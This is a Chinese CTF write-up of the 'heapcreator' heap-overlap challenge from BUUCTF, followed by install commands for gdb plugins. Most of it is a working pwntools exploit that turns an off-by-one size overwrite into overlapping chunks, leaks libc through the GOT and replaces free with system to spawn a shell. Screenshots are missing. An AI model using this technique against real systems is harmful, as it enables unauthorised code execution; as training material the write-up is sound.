这是wiki上的overlapping 那道例题,也是buu上的一道题目,,这道题目很适合刚学习堆的
    image.png
    这是保护机制
    image.png
    这是菜单,,,
    image.png
    off by null 漏洞。
    看懂creat_heap这个函数就能看懂整个流程了
    image.png
    看断点位置和内存内容。
    image.png
    再看断点位置和堆上内容。
    image.png
    然后PElro开了部分嘛,got表是可以改的所以我们待会把free改成system

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. io =process('./heapcreator')
    5. #io = remote("node4.buuoj.cn",27274)
    6. elf = ELF('./heapcreator')
    7. gdb.attach(io)
    8. def creatheap(size,content):
    9. io.readuntil('Your choice :')
    10. io.sendline('1')
    11. io.readuntil('Size of Heap : ')
    12. io.sendline(str(int(size)))
    13. io.readuntil('Content of heap:')
    14. io.sendline(content)
    15. def edit(Index,con):
    16. io.readuntil('Your choice :')
    17. io.sendline('2')
    18. io.readuntil('Index :')
    19. io.sendline(str(int(Index)))
    20. io.readuntil('Content of heap : ')
    21. io.sendline(con)
    22. def show(id):
    23. io.readuntil('Your choice :')
    24. io.sendline('3')
    25. io.readuntil('Index :')
    26. io.sendline(str(int(id)))
    27. def delete(i):
    28. io.readuntil('Your choice :')
    29. io.sendline('4')
    30. io.readuntil('Index :')
    31. io.sendline(str(int(i)))
    32. creatheap(24,'aaaa')
    33. creatheap(16,'bbbb')
    34. creatheap(16,'cccc')
    35. creatheap(16,'/bin/sh\x00')
    36. #pause()
    37. edit(0,b'a'*24+'\x81')
    38. delete(1)
    39. size = '\x08'.ljust(8,'\x00')
    40. payload = b'a'*64+size+p64(elf.got['free'])
    41. creatheap(112,payload)
    42. #pause()
    43. show(2)
    44. io.recvuntil('Content : ')
    45. free_addr = u64(io.recvuntil('Done')[:-5].ljust(8,'\x00'))
    46. log.success('free ==>'+hex(free_addr))
    47. libc = LibcSearcher('free',free_addr)
    48. libcbase = free_addr - libc.dump('free')
    49. system_addr = libcbase + libc.dump('system')
    50. edit(2,p64(system_addr))
    51. delete(3)
    52. io.interactive()

    主要还是调试吧。。。慢慢学吧。。
    去学长那偷了几个安装

    1. git clone https://github.com/longld/peda.git ~/peda
    2. echo "source ~/peda/peda.py" >> ~/.gdbinit
    3. git clone git://github.com/Mipu94/peda-heap.git ~/peda-heap
    4. echo "source ~/peda-heap/peda.py" >> ~/.gdbinit
    5. git clone https://github.com/hugsy/gef.git ~/gef
    6. echo "source ~/gef/gef.py" >> ~/.gdbinit
    7. git clone https://github.com/pwndbg/pwndbg ~/pwndbg
    8. cd pwndbg
    9. sudo ./setup.sh
    10. echo "source ~/pwndbg/gdbinit.py" > ~/.gdbinit